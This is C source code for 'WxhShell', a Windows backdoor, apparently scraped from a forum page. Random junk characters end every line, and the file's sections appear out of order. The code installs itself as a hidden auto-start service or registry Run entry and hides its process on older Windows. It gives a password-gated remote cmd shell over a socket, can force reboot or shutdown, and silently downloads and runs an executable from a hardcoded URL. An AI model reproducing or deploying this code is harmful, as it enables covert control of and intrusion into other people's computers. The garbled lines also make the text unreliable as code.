    if(Boot(SHUTDOWN)) '$W@I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s)#FqB8  
    else { &IM;Yl  
    closesocket(wsh); (Bd8@}\u_  
    ExitThread(0); NH$a:>  
    } SsfnBCVR  
    break; tK6z#)  
    } d6-a\]gF  
  // 获取shell ahA21W` k  
  case 's': { |B njT*_9  
    CmdShell(wsh); +~\1Zgw  
    closesocket(wsh); N;7Xt9l  
    ExitThread(0); 8[U1{s:J  
    break; yazC2Enes8  
  } wQ qI@  
  // 退出 {,tEe'H7  
  case 'x': { nVV>;e[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^4_)a0Kcm,  
    CloseIt(wsh); '5.n2 8W>  
    break; QWv+J a  
    } i ~fkjn  
  // 离开 ('pNAn!]  
  case 'q': { ~isrE;N1|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k/YEUC5  
    closesocket(wsh); q?g4**C  
    WSACleanup(); m'k.R j  
    exit(1); yTwv2l;U  
    break; r7/y'Y]O  
        } @dQIl#  
  } I.TdYSB  
  } >4`("#  
b;#3X)  
  // 提示信息 wl #Bv,xf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5 G cdz  
} e5_a.c  
  } U7O~ch[,  
Bs(\e^}  
  return; m!5P5U x  
} 5v"QKI  
RUUV"y  
// shell模块句柄 ZIQy}b'  
int CmdShell(SOCKET sock) `q7O\  
{ 5mUHk]W  
STARTUPINFO si; f4)fa yAVp  
ZeroMemory(&si,sizeof(si)); 1X2MhV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !`L%wS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Lmq?D  
PROCESS_INFORMATION ProcessInfo; .)o<'u@Ri  
char cmdline[]="cmd"; T;qP"KWZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /) Bk r/  
  return 0; ?47q0C  
} S/ )P&V%  
|oPCmsO3R{  
// 自身启动模式 J3gJSRT@P  
int StartFromService(void) K>X#,lE-  
{ Ac}+U q  
typedef struct Ecp]fUQK  
{ Y~#m-y  
  DWORD ExitStatus; 4Ei*\:  
  DWORD PebBaseAddress; ^WQ.' G5Q  
  DWORD AffinityMask; #qY`xH'>  
  DWORD BasePriority; hp+=UnW  
  ULONG UniqueProcessId; )isz }?Dj  
  ULONG InheritedFromUniqueProcessId; NpqMdd   
}   PROCESS_BASIC_INFORMATION; 9HrT>{@  
;X,|I)  
PROCNTQSIP NtQueryInformationProcess; {J;[ Hf5  
x9q?^\x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V/"UDof  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^.)oQo SE  
F8mS5oB|^  
  HANDLE             hProcess; p;cNmMm  
  PROCESS_BASIC_INFORMATION pbi; :,%~R2  
@dei} !e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m/uBM6SXx  
  if(NULL == hInst ) return 0; >J!4x(;Yh  
7p*PDoM6`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VA + ?xk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V:HxRMF2X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @ -CZa^g  
|N, KA|Gdq  
  if (!NtQueryInformationProcess) return 0; I WKq_Zjkz  
F,+nj?i!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vFm8T58 7  
  if(!hProcess) return 0; yXP+$oox9  
/ap3>xkt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ){^o"A?-:  
,]RMa\Q4Wg  
  CloseHandle(hProcess); f Ne9as  
))m\d*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RQhS]y@e  
if(hProcess==NULL) return 0; =p~k5k4  
tb36c<U-  
HMODULE hMod; \6A Yx[|  
char procName[255]; hB/4.K]8  
unsigned long cbNeeded; a!rU+hiC  
__N< B5E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VbX+`CwH  
*YH5kX  
  CloseHandle(hProcess); N?7MYP  
FyleK+D?  
if(strstr(procName,"services")) return 1; // 以服务启动 MiHa'90{K  
%L(;}sJ.  
  return 0; // 注册表启动 SR)jJ=R3  
} mQ(6ahD U  
,F}\njL  
// 主模块 tDw(k[aK@  
int StartWxhshell(LPSTR lpCmdLine) z OwKh>]  
{ UF37|+"E  
  SOCKET wsl; b7-M'-Km0_  
BOOL val=TRUE;  ;;>hWAS  
  int port=0; rywui10x*  
  struct sockaddr_in door; pUbf]3 t  
L_4c~4  
  if(wscfg.ws_autoins) Install(); N8*6sK.  
RE)!b  
port=atoi(lpCmdLine); 9O(vh(C  
0Va+l)F  
if(port<=0) port=wscfg.ws_port; ZAATV+Z  
DzZEn]+zt  
  WSADATA data; ].ZfTrM]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Sc)?[H  
_[%2QwAUj*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J>D+/[mFt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ctg U  
  door.sin_family = AF_INET; S7oPdzcU-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }-`N^  
  door.sin_port = htons(port); 1,Ams  
v=m!$~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .+ezcG4q  
closesocket(wsl); Oly"ll*K  
return 1;  Y7*8 A,  
} i28WgDG)5  
A]<+Aq@{  
  if(listen(wsl,2) == INVALID_SOCKET) { )ZZjuFQJ)  
closesocket(wsl); wPr9N}rf  
return 1; Ygeg[S!7  
} Q)]C~Q  
  Wxhshell(wsl); t)qu@m?FZ)  
  WSACleanup(); HpLCOY1-  
9j94]w2v  
return 0; -9PJ4"H  
xE>jlr?  
} 6=pE5UfT  
OdKfU^  
// 以NT服务方式启动 S7!+8$2mc_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /H (55^EMZ  
{ F#b^l}  
DWORD   status = 0; 8NF93tqD6  
  DWORD   specificError = 0xfffffff; 7C;oMh5  
@ra^0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kh4., \'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g49G7sk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I3I1<}>]Z  
  serviceStatus.dwWin32ExitCode     = 0; W( 4Mvd  
  serviceStatus.dwServiceSpecificExitCode = 0; y -6{>P/  
  serviceStatus.dwCheckPoint       = 0; 6 4,('+  
  serviceStatus.dwWaitHint       = 0; oMNt676  
!k3 eUBF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CE5A^,EsB  
  if (hServiceStatusHandle==0) return; &u`]Zn   
Ei HQ&u*  
status = GetLastError(); #zf,%IYF  
  if (status!=NO_ERROR) I%|,KWM  
{ ~:krJ[=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qkbGM-H%U  
    serviceStatus.dwCheckPoint       = 0; zH5pe  
    serviceStatus.dwWaitHint       = 0; n2V $dF4m  
    serviceStatus.dwWin32ExitCode     = status; #}p@+rkg2  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cg8s9qE?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +,Ud 3iS  
    return; $./&GOus  
  } A:$4cacu9  
b)+;=o%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w!%"b03q  
  serviceStatus.dwCheckPoint       = 0; 4j1$1C{  
  serviceStatus.dwWaitHint       = 0; ROhhd.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )FdS;]  
} ,*kh{lJ  
tE8aL{<R  
// 处理NT服务事件,比如:启动、停止 ]5O]=^ u0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^? V9  
{ @=ro/.  
switch(fdwControl) +$YH dgZ.  
{ 7gc?7TM  
case SERVICE_CONTROL_STOP: ZX8 AB  
  serviceStatus.dwWin32ExitCode = 0; "Cz0r"N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; un F=";9H  
  serviceStatus.dwCheckPoint   = 0; bu8AOtY9E-  
  serviceStatus.dwWaitHint     = 0; Z35(f0b  
  { yE#.Q<4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EJW}&e/  
  } 4{QD: D(D  
  return; >Jk]=_%  
case SERVICE_CONTROL_PAUSE: ^O3i)GO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}cN7wnm j  
  break; 3iIURSG@  
case SERVICE_CONTROL_CONTINUE: ,<(0T$o E[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ],~H3u=s3  
  break; h'nXV{N0  
case SERVICE_CONTROL_INTERROGATE: 8B`w!@hf  
  break; <y=+Gh  
}; ,p>@:C/M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0z$::p$%u  
} i+Lqj  
`m`Y3I  
// 标准应用程序主函数 %M*2j%6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RsW4 '5  
{ vlqL  
9i46u20  
// 获取操作系统版本 Z8ds`KZM  
OsIsNt=GetOsVer(); x~JOg57up  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F.{$HJ  
msVi3`q~  
  // 从命令行安装 Qt\^h/zjG  
  if(strpbrk(lpCmdLine,"iI")) Install(); D JZ$M  
sOO_J!bblP  
  // 下载执行文件 Aw]kQ\P&  
if(wscfg.ws_downexe) { ES\=MO5a7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  MwC}  
  WinExec(wscfg.ws_filenam,SW_HIDE); K|Xr~\=  
} | Rj"}SC  
)A$xt)}P!{  
if(!OsIsNt) { \ZtKaEXnx  
// 如果时win9x,隐藏进程并且设置为注册表启动 af'gk&%  
HideProc(); w|1O-k`  
StartWxhshell(lpCmdLine); LC4W?']/  
} Bm5\*Xd1(  
else 4-?zW  
  if(StartFromService()) ^kK% 8 u  
  // 以服务方式启动 OH13@k  
  StartServiceCtrlDispatcher(DispatchTable); fXe$Ug|5a  
else qg2Vmj<H  
  // 普通方式启动 <Gna}ALkg  
  StartWxhshell(lpCmdLine); z22:O"UHa  
(]` rri*^  
return 0;  20]p<  
} a%2K,.J  
s o7.$]aV  
t,u;"%go  
Kk).KgR  
=========================================== g`w46X  
iwy;9x  
,h9?o  
_C)\X(;  
ZfXgVTJ`  
&x\cEI)!  
" +{#L,0t  
g2?yT ?  
#include <stdio.h> hEFOT]P4  
#include <string.h> _\gCdNrD  
#include <windows.h> 8#w%qij  
#include <winsock2.h> ME66BWg{  
#include <winsvc.h> <.2jQ#So  
#include <urlmon.h> lPD&Doa  
y'!"GrbZ  
#pragma comment (lib, "Ws2_32.lib") uvAJJIae'  
#pragma comment (lib, "urlmon.lib") DkSs^ym  
uu.}<VM.1  
#define MAX_USER   100 // 最大客户端连接数 sDY+J(Z  
#define BUF_SOCK   200 // sock buffer DYoGtks(  
#define KEY_BUFF   255 // 输入 buffer dZox;_b  
LJ K0WWch  
#define REBOOT     0   // 重启 ,M~> t7+  
#define SHUTDOWN   1   // 关机 dvM%" k  
phQ{<wzwp  
#define DEF_PORT   5000 // 监听端口 s\< @v7A  
kE:{#>[Uz  
#define REG_LEN     16   // 注册表键长度 OIIA^QyV  
#define SVC_LEN     80   // NT服务名长度 6Jq3l_  
I1#MS4;$^  
// 从dll定义API 6 FN#Xg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DJ9x?SL@KD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I9dX\w}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gWL`J=DiU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :G#+ 5 }  
5,4m_fBoW  
// wxhshell配置信息 {9@u:(<X9  
struct WSCFG { U^eos;:s8  
  int ws_port;         // 监听端口 +* j8[sz  
  char ws_passstr[REG_LEN]; // 口令 ,"F0#5  
  int ws_autoins;       // 安装标记, 1=yes 0=no i5=~tS  
  char ws_regname[REG_LEN]; // 注册表键名 @t;726  
  char ws_svcname[REG_LEN]; // 服务名 \._|_+HiW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [k0/ZfFwV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vvu $8n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M ziOpraj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f-634KuP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >FKwFwT4D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 80`$F{xcX  
f7|Tp m  
}; Zu<S<??Jf  
$ai;8)C6  
// default Wxhshell configuration 5^R?+<rd  
struct WSCFG wscfg={DEF_PORT, X7[gfKGL)N  
    "xuhuanlingzhe", $$uMu{?0i  
    1, M%Ksyr9  
    "Wxhshell", vt n T   
    "Wxhshell", CZ'm|^S  
            "WxhShell Service", I~6 o<HO  
    "Wrsky Windows CmdShell Service", !.-u'6e  
    "Please Input Your Password: ", 0qIg:+l+  
  1, 7A) E4f'  
  "http://www.wrsky.com/wxhshell.exe", X# /c7w-  
  "Wxhshell.exe" rLE+t(x(0  
    }; ##} 7cFX  
A2;6Vz=z  
// 消息定义模块 G')zDx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }'faf{W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yg,;l-1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,<'>j a C  
char *msg_ws_ext="\n\rExit."; Br15S};Ce  
char *msg_ws_end="\n\rQuit."; z{FFTb^B  
char *msg_ws_boot="\n\rReboot..."; 2Y<]X7Ch:  
char *msg_ws_poff="\n\rShutdown..."; FE]UqB  
char *msg_ws_down="\n\rSave to "; )0]U"Nf ho  
UG=]8YY!  
char *msg_ws_err="\n\rErr!"; |2%|=   
char *msg_ws_ok="\n\rOK!"; <5,|h3]-#  
]31=8+D  
char ExeFile[MAX_PATH]; ^8A [ ^cgq  
int nUser = 0; !%D';wQ,/  
HANDLE handles[MAX_USER]; !nvg:$.&  
int OsIsNt; x}nBU q:  
@g4o8nH}  
SERVICE_STATUS       serviceStatus; *nHuGla  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )TKn5[<4  
(Li0*wRb  
// 函数声明 zsd1n`r  
int Install(void); 6}?d%K  
int Uninstall(void); p:K%-^  
int DownloadFile(char *sURL, SOCKET wsh); 4obW>  
int Boot(int flag); 0?( uqjD:  
void HideProc(void); Goc?HR  
int GetOsVer(void); w^ OB  
int Wxhshell(SOCKET wsl); 096Yd=3h  
void TalkWithClient(void *cs); H17I" 5N  
int CmdShell(SOCKET sock); xb<|m2<)H  
int StartFromService(void); 1DhC,)+D}q  
int StartWxhshell(LPSTR lpCmdLine); 2%L`b"9}V  
beC%Tnb7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )XGz#C_P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Lt=32SvTn  
\/?J)k3H.  
// 数据结构和表定义 Rw%?@X3m]  
SERVICE_TABLE_ENTRY DispatchTable[] = l_yF;5|?z  
{ $+_1F`  
{wscfg.ws_svcname, NTServiceMain}, \wk;Bo  
{NULL, NULL} KYtCN+vsG  
}; -4sKB>b  
ux)*B}/xh  
// 自我安装 M?UUT8,  
int Install(void) 'j<u0'K@  
{ <n06(9BF  
  char svExeFile[MAX_PATH]; Btm _S\1  
  HKEY key; DKu$u ]Z  
  strcpy(svExeFile,ExeFile); 'QxJU$  
7U_ob"`JV  
// 如果是win9x系统,修改注册表设为自启动 fn=A_ i  
if(!OsIsNt) { ,LN^Zx*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VQ| {Q}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %),u0:go  
  RegCloseKey(key); !C05;x8{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zfcf?&><  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i9XpP(mf  
  RegCloseKey(key); Z#-N$%^F  
  return 0; kx?Yin8K  
    } MO0NNVVi%U  
  } Y`(Ri-U4  
} u*;H$&  
else { Wm`*IBWA  
)=d)j^ t9  
// 如果是NT以上系统,安装为系统服务 7xv9v1['  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jhQoBC>:  
if (schSCManager!=0) =>`z k^  
{ 'JJKnE zQ  
  SC_HANDLE schService = CreateService ~{tO8 ]  
  ( |xcC'1WU  
  schSCManager, sdg2^]|  
  wscfg.ws_svcname, QfAmGDaYQ  
  wscfg.ws_svcdisp, _^#eO`4"  
  SERVICE_ALL_ACCESS, +cqUp6x.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q,@# cQBV  
  SERVICE_AUTO_START, h!%y,4IBR  
  SERVICE_ERROR_NORMAL, m2jts(stp  
  svExeFile, 2O Ur">_  
  NULL, R|M]mwa^w  
  NULL, n}IGxum8`  
  NULL, xZ P SUEG  
  NULL, qb=2J5su  
  NULL &BrFcXF  
  ); L r"cO|F  
  if (schService!=0) h7q{i|5  
  { 5rB>)p05[  
  CloseServiceHandle(schService); 4RB%r  
  CloseServiceHandle(schSCManager); gM>?w{!LBx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '~K]=JP  
  strcat(svExeFile,wscfg.ws_svcname); KFHZ3HZ:>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T=tW'tlT\v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v0oVbHO5<  
  RegCloseKey(key); ' QG`^@Z  
  return 0; W1X3ArP]m8  
    } )MF@'zRK  
  } 5%WAnh  
  CloseServiceHandle(schSCManager); &d2L9kTk  
} }bca-|N  
} $Y_S`#c@i  
b)Da6fp  
return 1; 7 uL.=th'  
} SA}Dkt&,  
= NZgbl  
// 自我卸载 f0sLe 3  
int Uninstall(void) 03v+eT  
{ ZH;4e<gg  
  HKEY key; MWA,3I\.  
sIf]e'@AC  
if(!OsIsNt) { Z/G#3-5)p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mz6]=]1w  
  RegDeleteValue(key,wscfg.ws_regname); RVttk )Ny  
  RegCloseKey(key); TG$ #aX\'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >"b W'  
  RegDeleteValue(key,wscfg.ws_regname);  yP+<kv4  
  RegCloseKey(key); <ytzGDx  
  return 0; zhs @ YMY  
  } \^" Vqx  
} F<g&t|@  
} 6c-3+,Y"#  
else { ?[zw5fUDS  
s0;a j<J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); InbB2l4G  
if (schSCManager!=0) UzaAL9k  
{ TU^ZvAO&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l1k&@1"  
  if (schService!=0) tUx H 6IS  
  { 9gw;MFP)D  
  if(DeleteService(schService)!=0) { z+Fu{<#(  
  CloseServiceHandle(schService); SgewAng?@o  
  CloseServiceHandle(schSCManager); l$\2|D  
  return 0; "[?DS  
  } AJEbiP  
  CloseServiceHandle(schService); igA?E56?  
  } NT 5=%X]  
  CloseServiceHandle(schSCManager); I*.nwV<  
} :Q("  
} F*@2)  
iKrk?B<  
return 1; we`BqZV  
} SXqB<j$.;  
/i>n1>~yn  
// 从指定url下载文件 ]-X6Cl  
int DownloadFile(char *sURL, SOCKET wsh) bpZA% {GS  
{ J^jd@E  
  HRESULT hr; &"K_R(kN  
char seps[]= "/"; :VP4:J^  
char *token; __ 9FQ{Ra  
char *file; 7>gjq'0  
char myURL[MAX_PATH]; mW'3yM  
char myFILE[MAX_PATH]; 6H'A]0  
r+C4<-dT  
strcpy(myURL,sURL); |8CxMs  
  token=strtok(myURL,seps); %Hd[,duwO  
  while(token!=NULL) Ez|NQ:o  
  { 3JQ7Cc>  
    file=token; xtP:Q9!N  
  token=strtok(NULL,seps); zw15r" R  
  } ) dk|S\  
9!X3Cv|+L  
GetCurrentDirectory(MAX_PATH,myFILE); uOzoE_i  
strcat(myFILE, "\\"); G8+&fn6  
strcat(myFILE, file); G3^<l0?S  
  send(wsh,myFILE,strlen(myFILE),0); >eG<N@13p  
send(wsh,"...",3,0); v2rO>NY4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $aJ6i7C,j}  
  if(hr==S_OK) L$_%T  
return 0; 3f^Pr  
else \h=*pAf  
return 1; \OkZ\!<hg  
|E?r+]  
} E&kv4,  
C3W4:kbau  
// 系统电源模块 kR97 )}Y  
int Boot(int flag) dX/7n=  
{ Oe\(=R  
  HANDLE hToken; *z69ti/ t  
  TOKEN_PRIVILEGES tkp; tWy.Gz\  
pt.V^a  
  if(OsIsNt) { [nig^8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?} 8r h%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jg=!GU/::  
    tkp.PrivilegeCount = 1; "!zJQl@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [yN+(^ i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ./XX  
if(flag==REBOOT) { SZe55mK`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;@qS#7SRB  
  return 0; _"Bj`5S  
} M#o.O?.`  
else { nQOdM#dP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I?g}q,!]  
  return 0; IXtG 36O  
} 8Y`g$2SZ^8  
  } -)(=~|,Pq/  
  else { ~|S0E:*.  
if(flag==REBOOT) { (CIcM3|9C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wrb[\ ?-  
  return 0; y*^UGJC:  
} }#D=Rf?2\P  
else { kQbZ!yl>[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }ZVond$y4  
  return 0; b)'CP Cu*  
} eg/itty  
} ].xSX0YQ%  
%:`v.AG  
return 1; o]&q'>Rf  
} /jJD {  
*]U`]!Esp  
// win9x进程隐藏模块 N\__a~'0p  
void HideProc(void) %r1#G.2YW  
{ Qb?a[[3  
!gW`xVGv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \;N+PE  
  if ( hKernel != NULL ) o+{,>t  
  { AA[1[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N8Rq7i3F?a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WT,I~'r=S  
    FreeLibrary(hKernel); bT 42G [x  
  } n',X,P0  
&zy%_U2%  
return; _1E c54D  
} {Ia1H  
<$-^^b(y  
// 获取操作系统版本 hT-^1 :N  
int GetOsVer(void) _Sd^/jGpU  
{ )-!)D  
  OSVERSIONINFO winfo; ~xxq.rL"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <e BmCrJ  
  GetVersionEx(&winfo); {7m2vv?Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h#4n  
  return 1; {rMf/RAE  
  else 36OQHv;&  
  return 0; B1|nT?}J(  
} xK_UkB-$i  
z9IW&f~~P  
// 客户端句柄模块 u]NsCHKlT  
int Wxhshell(SOCKET wsl) c>D~MCNxg  
{ UZs '[pm)  
  SOCKET wsh; Jkj7ty.J  
  struct sockaddr_in client; kl:/PM^  
  DWORD myID; Ywhhs }f  
y%%VJ}'X!  
  while(nUser<MAX_USER) >gzM-d  
{ [?7QmZK  
  int nSize=sizeof(client); m   uO.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K!CVS7  
  if(wsh==INVALID_SOCKET) return 1; 5B:"$vC{=  
QEqYqAGzu|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mu`_^gG  
if(handles[nUser]==0) TM6wjHFm  
  closesocket(wsh); /~'C!so[v  
else r~T!$Tb  
  nUser++; LAk .f  
  } "W6cQsi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?9{^gW4|  
gBV4IQ  
  return 0; GEy7Vb)  
} cwvJH&%0  
5fk A?Ecqq  
// 关闭 socket 3HtM<su*h  
void CloseIt(SOCKET wsh) I-!7 EC2{!  
{ kIS )*_  
closesocket(wsh); _ -RqkRI  
nUser--; gWU#NRRc  
ExitThread(0); S>x@9$( ym  
} "vybVWEE  
&M@ .d$<C  
// 客户端请求句柄 |GQq:MB;z  
void TalkWithClient(void *cs) $rj:K)P  
{ !%R):^R8  
Ld_uMe?Z  
  SOCKET wsh=(SOCKET)cs; LI}e_= E  
  char pwd[SVC_LEN]; )2y [#Blo  
  char cmd[KEY_BUFF]; <$?#P#A  
char chr[1]; sT1OAK\^  
int i,j; U3Gg:onuE  
[\Wl~ a l  
  while (nUser < MAX_USER) { moFrNcso  
Zex~ $r  
if(wscfg.ws_passstr) { cG0)F%?X?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^NU_Tp:2^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \,NT5>  
  //ZeroMemory(pwd,KEY_BUFF); ]p+KN>1e  
      i=0; -n"f>c_{>  
  while(i<SVC_LEN) { aoW2c1`?Z  
3"Oipt+  
  // 设置超时 STu(I\9  
  fd_set FdRead; R-pON4D"*  
  struct timeval TimeOut; 1d49&-N  
  FD_ZERO(&FdRead); <FkaH8,7  
  FD_SET(wsh,&FdRead); n5 ~Dxk  
  TimeOut.tv_sec=8; PYi<iSr  
  TimeOut.tv_usec=0; ,s%+vD$O^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RvA "ug.*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ph b ;D  
)OQm,5F1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oi|cTZ@A-  
  pwd=chr[0]; 5w>TCx  
  if(chr[0]==0xd || chr[0]==0xa) { V$DB4YM1k  
  pwd=0; ]E"J^mflGK  
  break; |+8rYIms`  
  } c[M4l  
  i++; JQ}4{k  
    } ]EF"QLNN(  
'uz o[>p  
  // 如果是非法用户,关闭 socket R $<{"b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !2AD/dtt   
} #"A`:bjG  
5);"()g32  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IW n G@!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1H">Rb30@  
P2ySjgd  
while(1) { vRaxB  
4 w*m]D{  
  ZeroMemory(cmd,KEY_BUFF); $U ._4  
B_Gcz5  
      // 自动支持客户端 telnet标准   fGj66rMGw  
  j=0; Se[=$W  
  while(j<KEY_BUFF) { [%LGiCU]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D`41\#ti  
  cmd[j]=chr[0]; m-C#~Cp36  
  if(chr[0]==0xa || chr[0]==0xd) { !4^Lv{1QZ  
  cmd[j]=0; Ye|gW=FUR  
  break; 0?FJ ~pu  
  } G@D8 [  
  j++; 8}[<3K%*g  
    } &VU^d3gv~  
ok,O/|E}?  
  // 下载文件 }@$CS5w  
  if(strstr(cmd,"http://")) { >nehyo:#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D{8B;+  
  if(DownloadFile(cmd,wsh)) ~,F]~|U7l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #bGYHN  
  else # r>)A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yAGQD[ih  
  } 3k_\ xQ  
  else { 8M3DG=D  
